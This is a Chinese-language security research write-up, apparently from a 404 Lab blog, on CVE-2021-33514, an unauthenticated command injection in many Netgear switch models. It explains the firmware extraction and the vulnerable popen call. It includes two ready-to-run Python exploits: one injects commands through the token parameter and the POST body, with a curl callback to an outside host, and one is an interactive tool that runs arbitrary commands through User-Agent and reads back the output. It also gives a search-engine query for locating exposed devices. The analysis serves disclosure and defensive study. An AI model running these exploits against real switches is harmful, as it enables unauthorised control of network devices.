Skip to content

Latest commit

 

History

History
217 lines (116 loc) · 12.9 KB

CVE-2021-33514:Netgear 多款交换机命令注入漏洞.md

File metadata and controls

217 lines (116 loc) · 12.9 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

作者:OneShell@知道创宇 404 实验室
时间:2021 年 7 月 21 日

漏洞信息

CVE-2021-33514 是发生在 Netgear 多款交换机上的命令注入漏洞,可以未认证远程代码执行,CVSS3:9.8(高危)。

漏洞产生的根本原因是 libsal.so.0.0 中的函数sal_sys_ssoReturnToken_chk存在命令注入,这个函数用于处理 url 中的tocken字段,直接将tocken传递到格式化字符串中,然后调用popen执行。后端处理 setup.cgi 加载了该 so 文件,并且在处理 url 的时候调用了该存在漏洞的函数。漏洞利用起来也非常简单,直接给 cgi 发送构造了命令的请求就可以。

Netgear 官方给出的受漏洞影响设备和固件版本如下表:

影响设备
固件版本
GC108P
<=1.0.7.3
GC108PP
<=1.0.7.3
GS108Tv3
<=7.0.6.3
GS110TPP
<=7.0.6.3
GS110TPv3
<=7.0.6.3
GS110TUP
<=1.0.4.3
GS710TUP
<=1.0.4.3
GS716TP
<=1.0.2.3
GS716TPP
<=1.0.2.3
GS724TPP
<=2.0.4.3
GS724TPv2
<=2.0.4.3
GS728TPPv2
<=6.0.6.3
GS728TPv2
<=6.0.6.3
GS752TPPv1
<=6.0.6.3
GS752TPv2
<=6.0.6.3
MS510TXM
<=1.0.2.3
MS510TXUP
<=1.0.2.3

漏洞复现

复现过程仅仅使用了 python 的 requests 模块,设备使用的是放置在公网的 GS110TPP,固件版本 V7.0.1.16,使用的 so 和 cgi 程序关键代码差别不大,具有代表性。通过分析交换机固件发现里面常见的可以反弹 shell 的程序都木有,那验证命令执行就使用了 curl,用它去访问我的公网 VPS,如果 nc 检测到访问,说明发生了命令注入。

import requests
vul_url = 'https://X.X.X.X/cgi/setup.cgi?token=\';$(cat);\''
payload = 'curl X.X.X.X.X:8080'
try:
    res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)
    print('[!] should not return any thing')
except:
    print('[+] success!')

漏洞分析

固件提取

首先在 Netgear 官网上可以下载到存在漏洞的固件,必须赞扬一下 Netgear,基本上以往的固件都可以下载到,而且几乎都是没有加密的,这对漏洞分析来说大大的好。下载到固件了按照流程binwalk -Me一把梭,然后使用 find 就会发现,找不到存在漏洞的 so 文件也找不到存在调用 so 的 cgi 程序。仔细看解压出来可能的文件系统文件夹里面,其实还有 modsqfs.img 和 sqfs.img 两个文件,这还得 binwalk 继续梭了这两个文件,才能有得到存在漏洞的 so 和 cgi。

静态分析

流程上还是比较简单的。首先看一下libsal.so里面存在漏洞的函数sal_sys_ssoReturnToken_chk,下面是直接贴出来 IDA 反编译结果,可以看到直接将函数输入a1,格式化字符串到v25中,然后调用popen执行了v25

再看看setup.cgi中是如何调用这个函数的,这个地方注意,C 语言的或逻辑是,如果前面的判定通过了,后续就不进行判定。第一个判定是检查query_string中是否含有tocken字符串,当我们构造了 payload 那么判定会失败,则继续执行后面使用逗号连接的 C 语句,调用漏洞函数。strtok函数用于使用特定字符分割字符串,详情使用可以参考函数说明,最终就把tocken字段的值赋值给v9

关于 CGI 以及此处 payload 的写法

  • CGI 如何处理用户请求

之前分析的路由器后端的程序,大多是某某 httpd+cgi 的做法,当时对于 cgi 程序如何获取到 url 传递的参数就仅仅有一个感性的认识:通过环境变量来进行传参,如果是 GET 请求,那么看环境变量QUERY_STRING,如果是 POST 请求,可能先从CONTENT_LENGTH获取数据长度,然后从STDIN中读取指定长度的数据。但对于 cgi 程序是如何执行的,与 httpd 之间的关系是什么,还是有点迷糊。于是找了一些文章大概看了下。

CGI(Common Gateway Interface)实际上是一种约定,一种接口协议,可以使用 c、python、lua、php 来实现。WEB 服务器会根据 CGI 的类型决定如何向 CGI 程序传递数据,一般都是通过标准输入 / 输出流和环境变量来与 CGI 程序进行数据传递。例如这个地方的 WEB 服务器使用的是 lighthttpd,通过逆向可以找到有一个函数http_cgi_headers是用来传递给 CGI 程序的一些环境变量的。

如果是使用的 POST 方式,服务器设定CONTENT_LENGTH环境变量说明 POST 数据的有效数据字节数,然后 CGI 通过传递的这个环境变量,从标准输入STDIN中去读取数据。在 POC 里面,首先 token 字段值会被注入,然后$(cat)从从标准输入中去读取数据,而此时 POST 的数据也被传递到了标准输入中,那么就相当于直接执行了 POST 发出的数据。

  • payload 的另一种写法

如上,是通过环境变量和标准输入传递参数给 CGI 的,最开始的 payload 是通过 POST 请求将数据通过标准输入传递给 CGI,而且没有执行结果回显。那么接下来使用 GET 请求 + 环境变量 + 获取执行结果的方式重新来写一次 payload。

首先确定将要执行的命令通过哪一个环境变量传入,这个地方选择了User-Agent环境变量,也是经常被使用到的一种方式。其次是决定通过何种方式进行回显,此处是将执行结果写入到/webtmp/文件夹的一个 js 文件中。由于/webtmp/文件夹和/tmp/是链接起来(固件文件系统中查看)的,因此写入到/webtmp/文件夹,然后使用 URL 访问/tmp/中的 js 文件即可。

from requests.api import head
import requests
import random
import string
requests.packages.urllib3.disable_warnings()

proxy = {
}

letters = string.ascii_letters
vul_addr = 'https://X.X.X.X'
vul_url = vul_addr + '/cgi/setup.cgi?token=\';$HTTP_USER_AGENT;\''
random_str = ''.join(random.choice(letters) for i in range(10))

cmd1 = input('InputCMD: ').replace(' ', '${IFS}')
cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')

payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'
payload2 = f'sh -c {cmd2}'

header = {}

try:
    header['User-Agent'] = payload1    # 注入命令并将结果写入到js文件
    res = requests.get(vul_url, headers=header, verify=False,
                       timeout=5, allow_redirects=False, proxies=proxy)
    if res.status_code == 200:
        print('[+] command send success')
        result_file = vul_addr + f'/tmp/{random_str}.js'
        result = requests.get(result_file, timeout=5,
                              verify=False, allow_redirects=False, proxies=proxy) # 读取结果js文件
        print('[+] get result')
        print(result.text)
        print('[+] rm tmp result file')
        header['User-Agent'] = payload2
        res = requests.get(vul_url, headers=header, verify=False,
                           timeout=5, allow_redirects=False, proxies=proxy)    # 删除结果js文件
except Exception as e:
    print(e)

小 结

这次的命令注入漏洞逻辑是比较简单的,注入点不需要很长的变量依赖分析。通过对于 Netgear 几次命令注入漏洞的分析,心中大概也清楚嵌入式设备中路由器大概是怎么获取用户请求数据,然后如何传递给 CGI 程序进行处理的。

使用 ZoomEye 和 Pocsuite3

漏洞影响面

通过 ZoomEye 网络空间搜索引擎,搜索 ZoomEye dork 数据挖掘语法查看漏洞公网资产影响面。

zoomeye dork 关键词:"?aj4+fileVer"

https://www.zoomeye.org/searchResult?q=%3Faj4%2BfileVer

漏洞影响面全球视角可视化

https://www.zoomeye.org/globalmap/%3Faj4%2BfileVer/all/0

verify 模式

attack 模式

参考链接:

往 期 热 门

(点击图片跳转)

[

赠书 |《404 Paper 精粹》第一期发布啦!

](http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650947894&idx=1&sn=7fe7a66b5b1daffeac64b73333e9db3f&chksm=80790304b70e8a128397f499834f42012938e4f09cc537539a9bc7f2e2f5312e5e7812eb81b7&scene=21#wechat_redirect)

[

利用 Pocsuite3 框架编写 poc 实战案例

](http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650947757&idx=1&sn=677b6c36c52ce55225ae30f136b7ba5b&chksm=8079029fb70e8b89ecc9506aff4852d15d1a0237b99f691864ba7328581dae66e78f5f4d6c02&scene=21#wechat_redirect)

[

CVE-2021-35973:Netgear wac104 身份认证绕过

](http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650947657&idx=1&sn=40ab02de0333c02711007c20bc43072e&chksm=8079027bb70e8b6d7cf3808afdd52148a7dec9f2504746bda9fb16a900bc428e10564bc10964&scene=21#wechat_redirect)

觉得不错点个 “在看” 哦****